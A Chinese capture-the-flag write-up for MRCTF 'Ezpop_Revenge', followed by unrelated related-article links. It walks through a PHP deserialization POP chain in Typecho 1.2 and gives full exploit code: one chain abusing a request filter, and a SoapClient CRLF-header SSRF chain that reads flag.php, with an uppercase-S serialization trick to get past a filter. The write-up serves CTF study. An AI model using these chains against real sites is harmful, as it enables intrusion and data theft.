MRCTF Ezpop_Revenge小记
前言
一道typecho1.2的反序列化,顺便记录一下踩的坑
www.zip获得源码,结构大致如下

flag.php需要ssrf,如果成功会写入session

拿到源码直接去网上先找了一下有没有现成的payload(懒,
找到一篇类似的
https://p0sec.net/index.php/archives/114/
但是入口点是install.php,而源码里的install.php已经被删掉了,全局搜索一下:

路径为usr/plugins/HelloWorld/Plugin.php

很明显这里就是反序列化的点了,但是这里是一个方法不能直接利用,然后鸽了半天,后来才知道有个定义的路由==
typecho\plugin.php下:
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
首先看到这里:

很明显的入口点,跟进Typecho_Db::__construct

然后这里有一个字符拼接,于是我就按照上面那文章的思路找__tostring (接下来是踩坑)
踩坑

Feed.php下的tostring的358行

并且跟不过去,那么就可以找__get
Request.php

跟进

跟进_applyFilter

value由this->_params['screenName']决定可控,$_filter也可控,rce??(嘴角疯狂上扬)
于是我构造了如下pop链:
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Feed(),'world'=>'typecho_']);
var_dump($this->coincidence);
}
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Feed
{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function __construct(){
$this->_items=array('author' => new Typecho_Request());
}
}
class Typecho_Request{
private $_filter=array();
private $_params=array();
public function __construct()
{
$this->_params['screenName'] = -1;
$this->_filter = array('phpinfo');
}
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));
然而这里函数过滤实在太多了,命令执行的函数几乎全过滤了,然后我就一直试,比赛结束也没试出来...(这个pop链貌似适用typecho1.1版本)
麻烦的解法(踩坑二)
后来我突然想到要是能rce为什么还有ssrf读flag....
好吧其实一开始__tostring我就找错了,应该找query.php这个跳板

可以看到如果$this->_sqlPreBuild['action']=SELECT就调用:
$this->_adapter->parseSelect($this->_sqlPreBuild)
然后令$this->_adapter为Soapclient实例,触发_call完成ssrf
调用链:
HelloWorld_DB::wakeup-->
Typecho_Db::__construct(tostring)-->
Typecho_Db_Query::__construct-->
(this->_adapter=new Soapclient)-->
ssrf
然后又是一个坑:
这里的成员变量大部分都是private的,而private有不可见字符需要用%00填充,而这里%是被过滤的:

然后就需要用\00来代替%00
这里有个知识点吧,以前没碰到过:
在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:
string 型数据(字符串)新的序列化格式为:
S:"<length>":"<value>";
其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。
它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。
普通的序列化小s对应的就是普通的字符串,如s:3:"%00a%00";
而序列化的大S则对应的是\加上16进制,如S:2:"\00a\00";
看个例子

将不可见字符%00转化为十六进制,大S成功执行wakeup

小写s则失败

然后这里就需要将%统统转化为\,然后将标识字符串的s转化为S,这里用了颖奇师傅的方法:https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}
将字符串以:冒号打散为数组,然后遍历用$arr[$i]匹配每个00,如果$arr[$i-2]中有小s就替换为S,然后以:拼接,看下面这个例子就懂了

最终payload:
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
}
}
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}
$a=serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);
加上一个?admin=1即可

正解
我又傻了,这里的serialize会进行base64编码,然而解码出来是这样的:

根本就没有%号啊,那就不用替换了,所以直接:
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
}
}
serialize(new HelloWorld_DB());
echo base64_encode($a);

MRCTF Ezpop_Revenge小记的更多相关文章
- [原]Paste.deploy 与 WSGI, keystone 小记
Paste.deploy 与 WSGI, keystone 小记 名词解释: Paste.deploy 是一个WSGI工具包,用于更方便的管理WSGI应用, 可以通过配置文件,将WSGI应用加载起来. ...
- MySql 小记
MySql 简单 小记 以备查看 1.sql概述 1.什么是sql? 2.sql发展过程? 3.sql标准与方言的关系? 4.常用数据库? 5.MySql数据库安装? 2.关键概念 表结构----- ...
- Git小记
Git简~介 Git是一个分布式版本控制系统,其他的版本控制系统我只用过SVN,但用的时间不长.大家都知道,分布式的好处多多,而且分布式已经包含了集中式的几乎所有功能.Linus创造Git的传奇经历就 ...
- 广州PostgreSQL用户会技术交流会小记 2015-9-19
广州PostgreSQL用户会技术交流会小记 2015-9-19 今天去了广州PostgreSQL用户会组织的技术交流会 分别有两个session 第一个讲师介绍了他公司使用PostgreSQL-X2 ...
- 东哥读书小记 之 《MacTalk人生元编程》
一直以来的自我感觉:自己是个记性偏弱的人.反正从小读书就喜欢做笔记(可自己的字写得巨丑无比,尼玛不科学呀),抄书这事儿真的就常发生俺的身上. 因为那时经常要背诵课文之类,反正为了怕自己忘记, ...
- Paypal支付小记
Paypal支付小记 *:first-child { margin-top: 0 !important; } body>*:last-child { margin-bottom: 0 !impo ...
- linux 下cmake 编译 ,调用,调试 poco 1.6.0 小记
上篇文章 小记了: 关于 Poco::TCPServer框架 (windows 下使用的是 select模型) 学习笔记. http://www.cnblogs.com/bleachli/p/4352 ...
- mongodb入门学习小记
Mongodb 简单入门(个人学习小记) 1.安装并注册成服务:(示例) E:\DevTools\mongodb3.2.6\bin>mongod.exe --bind_ip 127.0.0.1 ...
- 【日常小记】统计后缀名为.cc、.c、.h的文件数【转】
转自:http://www.cnblogs.com/skynet/archive/2011/03/29/1998970.html 在项目开发时,有时候想知道源码文件中有多少后缀名为.cc..c..h的 ...
随机推荐
- pat 1044.火星数字 Java版
个人网站:https://www.lingluan.xyz 火星人是以13进制计数的: 地球人的0被火星人称为tret. 地球人数字1到12的火星文分别为:jan, feb, mar, apr, ma ...
- TensorFlow 训练好模型参数的保存和恢复代码
TensorFlow 训练好模型参数的保存和恢复代码,之前就在想模型不应该每次要个结果都要重新训练一遍吧,应该训练一次就可以一直使用吧. TensorFlow 提供了 Saver 类,可以进行保存和恢 ...
- Unix 网络编程卷一源码编译踩坑记录 ubtutu 19.10
在阅读unpv1时运行源代码的环境配置,这里简单记录一下 源代码里的README 写得挺详细的,但是在Linux 系统的下还没没办法直接编译通过的, 这里我使用的是ubuntu 19.10(在腾讯云1 ...
- [React]Hook初探
Hook是什么 Hook是React从16.8开始支持的特性,使用Hook可以在不使用class时使用state Hook支持在不需要修改组件状态的情况下复用逻辑状态,从而解决使用render pro ...
- Redis新手的坑,无法连接、缺少类、没有密码
阿西吧,自己太菜了,用SpringBoot调用Redis缓存的时候,出了各种问题,记录一下,大家别学我 本文有自己的经验,也有从其他博客整理来的零零散散的经验. 1.安装Redis 安装redis,一 ...
- stm32:实现呼吸灯
1.main.c #include "sys.h" #include "delay.h" #include "key.h" #define ...
- JavaScript简单使用
本文参考廖雪峰老师网站:https://www.liaoxuefeng.com/wiki/1022910821149312 JavaScript是一种运行在浏览器中的解释型的编程语言,在Web世界里, ...
- git本地新建分支推送到远程
$ git checkout -b “分支名称”: 新建本地分支 $ git branch: 查看是否创建成功以及目前在哪个分支 $ gi ...
- Python内置函数分类汇总
Python解释器内置了很多函数,这些内置函数使用方便,无需导入,直接调用.可以在交互模式下输入dir(__builtins__),输出的列表中包含了所有的内置函数: 1.可迭代对象.序列操作相关 ...
- Java反射中getDeclaredField和getField的区别
getDeclaredField是可以获取一个类的所有字段. getField只能获取类的public 字段. public Field getDeclaredField(String name) t ...